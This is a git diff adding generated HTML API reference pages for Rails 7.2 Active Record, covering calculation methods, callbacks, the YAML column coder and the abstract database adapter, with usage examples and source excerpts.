+          relation.order_values = [] if group_values.empty?
+        end
+
+        relation.calculate(operation, column_name)
+      else
+        perform_calculation(operation, column_name)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + count(column_name = nil) + +

+ + +
+

Count the records.

+ +
Person.count
+# => the total count of all people
+
+Person.count(:age)
+# => returns the total count of all people whose age is present in database
+
+Person.count(:all)
+# => performs a COUNT(*) (:all is an alias for '*')
+
+Person.distinct.count(:age)
+# => counts the number of different age values
+
+ +

If count is used with Relation#group, it returns a Hash whose keys represent the aggregated column, and the values are the respective amounts:

+ +
Person.group(:city).count
+# => { 'Rome' => 5, 'Paris' => 3 }
+
+ +

If count is used with Relation#group for multiple columns, it returns a Hash whose keys are an array containing the individual values of each column and the value of each key would be the count.

+ +
Article.group(:status, :category).count
+# =>  {["draft", "business"]=>10, ["draft", "technology"]=>4, ["published", "technology"]=>2}
+
+ +

If count is used with Relation#select, it will count the selected columns:

+ +
Person.select(:age).count
+# => counts the number of different age values
+
+ +

Note: not all valid Relation#select expressions are valid count expressions. The specifics differ between databases. In invalid cases, an error from the database is thrown.

+ +

When given a block, loads all records in the relation, if the relation hasn’t been loaded yet. Calls the block with each record in the relation. Returns the number of records for which the block returns a truthy value.

+ +
Person.count { |person| person.age > 21 }
+# => counts the number of people older that 21
+
+ +

Note: If there are a lot of records in the relation, loading all records could result in performance issues.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 94
+    def count(column_name = nil)
+      if block_given?
+        unless column_name.nil?
+          raise ArgumentError, "Column name argument is not supported when a block is passed."
+        end
+
+        super()
+      else
+        calculate(:count, column_name)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ids() + +

+ + +
+

Returns the base model’s ID’s for the relation using the table’s primary key

+ +
Person.ids # SELECT people.id FROM people
+Person.joins(:company).ids # SELECT people.id FROM people INNER JOIN companies ON companies.id = people.company_id
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 367
+    def ids
+      primary_key_array = Array(primary_key)
+
+      if loaded?
+        result = records.map do |record|
+          if primary_key_array.one?
+            record._read_attribute(primary_key_array.first)
+          else
+            primary_key_array.map { |column| record._read_attribute(column) }
+          end
+        end
+        return @async ? Promise::Complete.new(result) : result
+      end
+
+      if has_include?(primary_key)
+        relation = apply_join_dependency.group(*primary_key_array)
+        return relation.ids
+      end
+
+      columns = arel_columns(primary_key_array)
+      relation = spawn
+      relation.select_values = columns
+
+      result = if relation.where_clause.contradiction?
+        ActiveRecord::Result.empty
+      else
+        skip_query_cache_if_necessary do
+          klass.with_connection do |c|
+            c.select_all(relation, "#{klass.name} Ids", async: @async)
+          end
+        end
+      end
+
+      result.then { |result| type_cast_pluck_values(result, columns) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + maximum(column_name) + +

+ + +
+

Calculates the maximum value on a given column. The value is returned with the same data type of the column, or nil if there’s no row. See calculate for examples with options.

+ +
Person.maximum(:age) # => 93
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 146
+    def maximum(column_name)
+      calculate(:maximum, column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + minimum(column_name) + +

+ + +
+

Calculates the minimum value on a given column. The value is returned with the same data type of the column, or nil if there’s no row. See calculate for examples with options.

+ +
Person.minimum(:age) # => 7
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 131
+    def minimum(column_name)
+      calculate(:minimum, column_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pick(*column_names) + +

+ + +
+

Pick the value(s) from the named column(s) in the current relation. This is short-hand for relation.limit(1).pluck(*column_names).first, and is primarily useful when you have a relation that’s already narrowed down to a single row.

+ +

Just like pluck, pick will only load the actual value, not the entire record object, so it’s also more efficient. The value is, again like with pluck, typecast by the column type.

+ +
Person.where(id: 1).pick(:name)
+# SELECT people.name FROM people WHERE id = 1 LIMIT 1
+# => 'David'
+
+Person.where(id: 1).pick(:name, :email_address)
+# SELECT people.name, people.email_address FROM people WHERE id = 1 LIMIT 1
+# => [ 'David', 'david@loudthinking.com' ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 348
+    def pick(*column_names)
+      if loaded? && all_attributes?(column_names)
+        result = records.pick(*column_names)
+        return @async ? Promise::Complete.new(result) : result
+      end
+
+      limit(1).pluck(*column_names).then(&:first)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluck(*column_names) + +

+ + +
+

Use pluck as a shortcut to select one or more attributes without loading an entire record object per row.

+ +
Person.pluck(:name)
+
+ +

instead of

+ +
Person.all.map(&:name)
+
+ +

Pluck returns an Array of attribute values type-casted to match the plucked column names, if they can be deduced. Plucking an SQL fragment returns String values by default.

+ +
Person.pluck(:name)
+# SELECT people.name FROM people
+# => ['David', 'Jeremy', 'Jose']
+
+Person.pluck(:id, :name)
+# SELECT people.id, people.name FROM people
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+Person.distinct.pluck(:role)
+# SELECT DISTINCT role FROM people
+# => ['admin', 'member', 'guest']
+
+Person.where(age: 21).limit(5).pluck(:id)
+# SELECT people.id FROM people WHERE people.age = 21 LIMIT 5
+# => [2, 3]
+
+Comment.joins(:person).pluck(:id, person: [:id])
+# SELECT comments.id, people.id FROM comments INNER JOIN people on comments.person_id = people.id
+# => [[1, 2], [2, 2]]
+
+Person.pluck(Arel.sql('DATEDIFF(updated_at, created_at)'))
+# SELECT DATEDIFF(updated_at, created_at) FROM people
+# => ['0', '27761', '173']
+
+ +

See also ids.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 287
+    def pluck(*column_names)
+      if @none
+        if @async
+          return Promise::Complete.new([])
+        else
+          return []
+        end
+      end
+
+      if loaded? && all_attributes?(column_names)
+        result = records.pluck(*column_names)
+        if @async
+          return Promise::Complete.new(result)
+        else
+          return result
+        end
+      end
+
+      if has_include?(column_names.first)
+        relation = apply_join_dependency
+        relation.pluck(*column_names)
+      else
+        klass.disallow_raw_sql!(flattened_args(column_names))
+        relation = spawn
+        columns = relation.arel_columns(column_names)
+        relation.select_values = columns
+        result = skip_query_cache_if_necessary do
+          if where_clause.contradiction?
+            ActiveRecord::Result.empty(async: @async)
+          else
+            klass.with_connection do |c|
+              c.select_all(relation.arel, "#{klass.name} Pluck", async: @async)
+            end
+          end
+        end
+        result.then do |result|
+          type_cast_pluck_values(result, columns)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sum(initial_value_or_column = 0, &block) + +

+ + +
+

Calculates the sum of values on a given column. The value is returned with the same data type of the column, 0 if there’s no row. See calculate for examples with options.

+ +
Person.sum(:age) # => 4562
+
+ +

When given a block, loads all records in the relation, if the relation hasn’t been loaded yet. Calls the block with each record in the relation. Returns the sum of initial_value_or_column and the block return values:

+ +
Person.sum { |person| person.age } # => 4562
+Person.sum(1000) { |person| person.age } # => 5562
+
+ +

Note: If there are a lot of records in the relation, loading all records could result in performance issues.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/calculations.rb, line 172
+    def sum(initial_value_or_column = 0, &block)
+      if block_given?
+        map(&block).sum(initial_value_or_column)
+      else
+        calculate(:sum, initial_value_or_column)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Callbacks.html b/src/7.2/classes/ActiveRecord/Callbacks.html new file mode 100644 index 0000000000..620eb02d22 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Callbacks.html @@ -0,0 +1,357 @@ +--- +title: ActiveRecord::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Active Record Callbacks

+ +

Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic before or after a change in the object state. This can be used to make sure that associated and dependent objects are deleted when ActiveRecord::Base#destroy is called (by overwriting before_destroy) or to massage attributes before they’re validated (by overwriting before_validation). As an example of the callbacks initiated, consider the ActiveRecord::Base#save call for a new record:

+
  • +

    (-) save

    +
  • +

    (-) valid

    +
  • +

    (1) before_validation

    +
  • +

    (-) validate

    +
  • +

    (2) after_validation

    +
  • +

    (3) before_save

    +
  • +

    (4) before_create

    +
  • +

    (-) create

    +
  • +

    (5) after_create

    +
  • +

    (6) after_save

    +
  • +

    (7) after_commit

    +
+ +

Also, an after_rollback callback can be configured to be triggered whenever a rollback is issued. Check out ActiveRecord::Transactions for more details about after_commit and after_rollback.

+ +

Additionally, an after_touch callback is triggered whenever an object is touched.

+ +

Lastly an after_find and after_initialize callback is triggered for each object that is found and instantiated by a finder, with after_initialize being triggered after new objects are instantiated as well.

+ +

There are nineteen callbacks in total, which give a lot of control over how to react and prepare for each state in the Active Record life cycle. The sequence for calling ActiveRecord::Base#save for an existing record is similar, except that each _create callback is replaced by the corresponding _update callback.

+ +

Examples:

+ +
class CreditCard < ActiveRecord::Base
+  # Strip everything but digits, so the user can specify "555 234 34" or
+  # "5552-3434" and both will mean "55523434"
+  before_validation(on: :create) do
+    self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
+  end
+end
+
+class Subscription < ActiveRecord::Base
+  before_create :record_signup
+
+  private
+    def record_signup
+      self.signed_up_on = Date.today
+    end
+end
+
+class Firm < ActiveRecord::Base
+  # Disables access to the system, for associated clients and people when the firm is destroyed
+  before_destroy { |record| Person.where(firm_id: record.id).update_all(access: 'disabled')   }
+  before_destroy { |record| Client.where(client_of: record.id).update_all(access: 'disabled') }
+end
+
+ +

Inheritable callback queues

+ +

Besides the overwritable callback methods, it’s also possible to register callbacks through the use of the callback macros. Their main advantage is that the macros add behavior into a callback queue that is kept intact through an inheritance hierarchy.

+ +
class Topic < ActiveRecord::Base
+  before_destroy :destroy_author
+end
+
+class Reply < Topic
+  before_destroy :destroy_readers
+end
+
+ +

When Topic#destroy is run only destroy_author is called. When Reply#destroy is run, both destroy_author and destroy_readers are called.

+ +

IMPORTANT: In order for inheritance to work for the callback queues, you must specify the callbacks before specifying the associations. Otherwise, you might trigger the loading of a child before the parent has registered the callbacks and they won’t be inherited.

+ +

Types of callbacks

+ +

There are three types of callbacks accepted by the callback macros: method references (symbol), callback objects, inline methods (using a proc). Method references and callback objects are the recommended approaches, inline methods using a proc are sometimes appropriate (such as for creating mix-ins).

+ +

The method reference callbacks work by specifying a protected or private method available in the object, like this:

+ +
class Topic < ActiveRecord::Base
+  before_destroy :delete_parents
+
+  private
+    def delete_parents
+      self.class.delete_by(parent_id: id)
+    end
+end
+
+ +

The callback objects have methods named after the callback called with the record as the only parameter, such as:

+ +
class BankAccount < ActiveRecord::Base
+  before_save      EncryptionWrapper.new
+  after_save       EncryptionWrapper.new
+  after_initialize EncryptionWrapper.new
+end
+
+class EncryptionWrapper
+  def before_save(record)
+    record.credit_card_number = encrypt(record.credit_card_number)
+  end
+
+  def after_save(record)
+    record.credit_card_number = decrypt(record.credit_card_number)
+  end
+
+  alias_method :after_initialize, :after_save
+
+  private
+    def encrypt(value)
+      # Secrecy is committed
+    end
+
+    def decrypt(value)
+      # Secrecy is unveiled
+    end
+end
+
+ +

So you specify the object you want to be messaged on a given callback. When that callback is triggered, the object has a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other initialization data such as the name of the attribute to work with:

+ +
class BankAccount < ActiveRecord::Base
+  before_save      EncryptionWrapper.new("credit_card_number")
+  after_save       EncryptionWrapper.new("credit_card_number")
+  after_initialize EncryptionWrapper.new("credit_card_number")
+end
+
+class EncryptionWrapper
+  def initialize(attribute)
+    @attribute = attribute
+  end
+
+  def before_save(record)
+    record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
+  end
+
+  def after_save(record)
+    record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
+  end
+
+  alias_method :after_initialize, :after_save
+
+  private
+    def encrypt(value)
+      # Secrecy is committed
+    end
+
+    def decrypt(value)
+      # Secrecy is unveiled
+    end
+end
+
+ +

before_validation* returning statements

+ +

If the before_validation callback throws :abort, the process will be aborted and ActiveRecord::Base#save will return false. If ActiveRecord::Base#save! is called it will raise an ActiveRecord::RecordInvalid exception. Nothing will be appended to the errors object.

+ +

Canceling callbacks

+ +

If a before_* callback throws :abort, all the later callbacks and the associated action are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last.

+ +

Ordering callbacks

+ +

Sometimes application code requires that callbacks execute in a specific order. For example, a before_destroy callback (log_children in this case) should be executed before records in the children association are destroyed by the dependent: :destroy option.

+ +

Let’s look at the code below:

+ +
class Topic < ActiveRecord::Base
+  has_many :children, dependent: :destroy
+
+  before_destroy :log_children
+
+  private
+    def log_children
+      # Child processing
+    end
+end
+
+ +

In this case, the problem is that when the before_destroy callback is executed, records in the children association no longer exist because the ActiveRecord::Base#destroy callback was executed first. You can use the prepend option on the before_destroy callback to avoid this.

+ +
class Topic < ActiveRecord::Base
+  has_many :children, dependent: :destroy
+
+  before_destroy :log_children, prepend: true
+
+  private
+    def log_children
+      # Child processing
+    end
+end
+
+ +

This way, the before_destroy is executed before the dependent: :destroy is called, and the data is still available.

+ +

Also, there are cases when you want several callbacks of the same type to be executed in order.

+ +

For example:

+ +
class Topic < ActiveRecord::Base
+  has_many :children
+
+  after_save :log_children
+  after_save :do_something_else
+
+  private
+    def log_children
+      # Child processing
+    end
+
+    def do_something_else
+      # Something else
+    end
+end
+
+ +

In this case the log_children is executed before do_something_else. This applies to all non-transactional callbacks, and to before_commit.

+ +

For transactional after_ callbacks (after_commit, after_rollback, etc), the order can be set via configuration.

+ +
config.active_record.run_after_transaction_callbacks_in_order_defined = false
+
+ +

When set to true (the default from Rails 7.1), callbacks are executed in the order they are defined, just like the example above. When set to false, the order is reversed, so do_something_else is executed before log_children.

+ +

Transactions

+ +

The entire callback chain of a #save, #save!, or #destroy call runs within a transaction. That includes after_* hooks. If everything goes fine a COMMIT is executed once the chain has been completed.

+ +

If a before_* callback cancels the action a ROLLBACK is issued. You can also trigger a ROLLBACK raising an exception in any of the callbacks, including after_* hooks. Note, however, that in that case the client needs to be aware of it because an ordinary #save will raise such exception instead of quietly returning false.

+ +

Debugging callbacks

+ +

The callback chain is accessible via the _*_callbacks method on an object. Active Model Callbacks support :before, :after and :around as values for the kind property. The kind property defines what part of the chain the callback runs in.

+ +

To find all callbacks in the before_save callback chain:

+ +
Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
+
+ +

Returns an array of callback objects that form the before_save chain.

+ +

To further check if the before_save chain contains a proc defined as rest_when_dead use the filter property of the callback object:

+ +
Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
+
+ +

Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
CALLBACKS=[ +:after_initialize, :after_find, :after_touch, :before_validation, :after_validation, +:before_save, :around_save, :after_save, :before_create, :around_create, +:after_create, :before_update, :around_update, :after_update, +:before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback +]
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Callbacks/ClassMethods.html b/src/7.2/classes/ActiveRecord/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..62fb2c0c45 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Callbacks/ClassMethods.html @@ -0,0 +1,496 @@ +--- +title: ActiveRecord::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_create(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is created. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_destroy(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is destroyed. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_find(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is instantiated via a finder. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_initialize(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is instantiated. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_save(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is saved. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_touch(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is touched. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + after_update(*args, &block) + + +

+ + +
+

Registers a callback to be called after a record is updated. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + around_create(*args, &block) + + +

+ + +
+

Registers a callback to be called around the creation of a record. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + around_destroy(*args, &block) + + +

+ + +
+

Registers a callback to be called around the destruction of a record. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + around_save(*args, &block) + + +

+ + +
+

Registers a callback to be called around the save of a record. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + around_update(*args, &block) + + +

+ + +
+

Registers a callback to be called around the update of a record. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + before_create(*args, &block) + + +

+ + +
+

Registers a callback to be called before a record is created. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + before_destroy(*args, &block) + + +

+ + +
+

Registers a callback to be called before a record is destroyed. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + before_save(*args, &block) + + +

+ + +
+

Registers a callback to be called before a record is saved. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + before_update(*args, &block) + + +

+ + +
+

Registers a callback to be called before a record is updated. See ActiveRecord::Callbacks for more information.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Coders.html b/src/7.2/classes/ActiveRecord/Coders.html new file mode 100644 index 0000000000..0cb77a9be2 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Coders.html @@ -0,0 +1,79 @@ +--- +title: ActiveRecord::Coders +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Coders/YAMLColumn.html b/src/7.2/classes/ActiveRecord/Coders/YAMLColumn.html new file mode 100644 index 0000000000..8cea62bfd5 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Coders/YAMLColumn.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Coders::YAMLColumn +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Coders/YAMLColumn/SafeCoder.html b/src/7.2/classes/ActiveRecord/Coders/YAMLColumn/SafeCoder.html new file mode 100644 index 0000000000..0835203f52 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Coders/YAMLColumn/SafeCoder.html @@ -0,0 +1,205 @@ +--- +title: ActiveRecord::Coders::YAMLColumn::SafeCoder +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(permitted_classes: [], unsafe_load: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/coders/yaml_column.rb, line 9
+        def initialize(permitted_classes: [], unsafe_load: nil)
+          @permitted_classes = permitted_classes
+          @unsafe_load = unsafe_load
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + dump(object) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/coders/yaml_column.rb, line 15
+          def dump(object)
+            if @unsafe_load.nil? ? ActiveRecord.use_yaml_unsafe_load : @unsafe_load
+              ::YAML.dump(object)
+            else
+              ::YAML.safe_dump(
+                object,
+                permitted_classes: @permitted_classes + ActiveRecord.yaml_column_permitted_classes,
+                aliases: true,
+              )
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/coders/yaml_column.rb, line 33
+          def load(payload)
+            if @unsafe_load.nil? ? ActiveRecord.use_yaml_unsafe_load : @unsafe_load
+              YAML.unsafe_load(payload)
+            else
+              YAML.safe_load(
+                payload,
+                permitted_classes: @permitted_classes + ActiveRecord.yaml_column_permitted_classes,
+                aliases: true,
+              )
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConfigurationError.html b/src/7.2/classes/ActiveRecord/ConfigurationError.html new file mode 100644 index 0000000000..31650cd06a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConfigurationError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ConfigurationError +layout: default +--- +
+ +
+
+ +
+ +

Raised when association is being configured improperly or user tries to use offset and limit together with ActiveRecord::Base.has_many or ActiveRecord::Base.has_and_belongs_to_many associations.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters.html new file mode 100644 index 0000000000..7cc35697ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters.html @@ -0,0 +1,374 @@ +--- +title: ActiveRecord::ConnectionAdapters +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + register(name, class_name, path = class_name.underscore) + +

+ + +
+

Registers a custom database adapter.

+ +

Can also be used to define aliases.

+ +

Example

+ +
ActiveRecord::ConnectionAdapters.register("megadb", "MegaDB::ActiveRecordAdapter", "mega_db/active_record_adapter")
+
+ActiveRecord::ConnectionAdapters.register("mysql", "ActiveRecord::ConnectionAdapters::TrilogyAdapter", "active_record/connection_adapters/trilogy_adapter")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters.rb, line 22
+      def register(name, class_name, path = class_name.underscore)
+        @adapters[name.to_s] = [class_name, path]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter.html new file mode 100644 index 0000000000..3dc5a67721 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter.html @@ -0,0 +1,3585 @@ +--- +title: ActiveRecord::ConnectionAdapters::AbstractAdapter +layout: default +--- +
+ +
+
+ +
+ +

Active Record Abstract Adapter

+ +

Active Record supports multiple database systems. AbstractAdapter and related classes form the abstraction layer which makes this possible. An AbstractAdapter represents a connection to a database, and provides an abstract interface for database-specific functionality such as establishing a connection, escaping values, building the right SQL fragments for :offset and :limit options, etc.

+ +

All the concrete database adapters follow the interface laid down in this class. ActiveRecord::Base.lease_connection returns an AbstractAdapter object, which you can use.

+ +

Most of the methods in the adapter are useful during migrations. Most notably, the instance methods provided by SchemaStatements are very useful.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ADAPTER_NAME="Abstract"
COMMENT_REGEX=%r{(?:--.*\n)|/\*(?:[^*]|\*[^/])*\*/}
EXTENDED_TYPE_MAPS=Concurrent::Map.new
SIMPLE_INT=/\A\d+\z/
TYPE_MAP=Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + in_use?
+ [R] + lock
+ [R] + logger
+ [R] + owner
+ [R] + pool
+ [R] + visitor
+ + + + +

Class Public methods

+ +
+

+ + database_exists?(config) + +

+ + +
+

Does the database for this adapter exist?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 361
+      def self.database_exists?(config)
+        new(config).database_exists?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dbconsole(config, options = {}) + +

+ + +
+

Opens a database console session.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 122
+      def self.dbconsole(config, options = {})
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_cmd_and_exec(commands, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 93
+      def self.find_cmd_and_exec(commands, *args) # :doc:
+        commands = Array(commands)
+
+        dirs_on_path = ENV["PATH"].to_s.split(File::PATH_SEPARATOR)
+        unless (ext = RbConfig::CONFIG["EXEEXT"]).empty?
+          commands = commands.map { |cmd| "#{cmd}#{ext}" }
+        end
+
+        full_path_command = nil
+        found = commands.detect do |cmd|
+          dirs_on_path.detect do |path|
+            full_path_command = File.join(path, cmd)
+            begin
+              stat = File.stat(full_path_command)
+            rescue SystemCallError
+            else
+              stat.file? && stat.executable?
+            end
+          end
+        end
+
+        if found
+          exec full_path_command, *args
+        else
+          abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast_config_to_boolean(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 66
+      def self.type_cast_config_to_boolean(config)
+        if config == "false"
+          false
+        else
+          config
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_cast_config_to_integer(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 56
+      def self.type_cast_config_to_integer(config)
+        if config.is_a?(Integer)
+          config
+        elsif SIMPLE_INT.match?(config)
+          config.to_i
+        else
+          config
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_default_timezone(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 74
+      def self.validate_default_timezone(config)
+        case config
+        when nil
+        when "utc", "local"
+          config.to_sym
+        else
+          raise ArgumentError, "default_timezone must be either 'utc' or 'local'"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active?() + +

+ + +
+

Checks whether the connection to the database is still active. This includes checking whether the database is actually capable of responding, i.e. whether the connection isn’t stale.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 651
+      def active?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + adapter_name() + +

+ + +
+

Returns the human-readable name of the adapter. Use mixed case - one can always use downcase if needed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 356
+      def adapter_name
+        self.class::ADAPTER_NAME
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_all_foreign_keys_valid!() + +

+ + +
+

Override to check all foreign key constraints in a database. The adapter should raise a ActiveRecord::StatementInvalid if foreign key constraints are not met.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 636
+      def check_all_foreign_keys_valid!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_cache!(new_connection: false) + +

+ + +
+

Clear any caching the database adapter may be doing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 732
+      def clear_cache!(new_connection: false)
+        if @statements
+          @lock.synchronize do
+            if new_connection
+              @statements.reset
+            else
+              @statements.clear
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + close() + +

+ + +
+

Check the connection back in to the connection pool

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
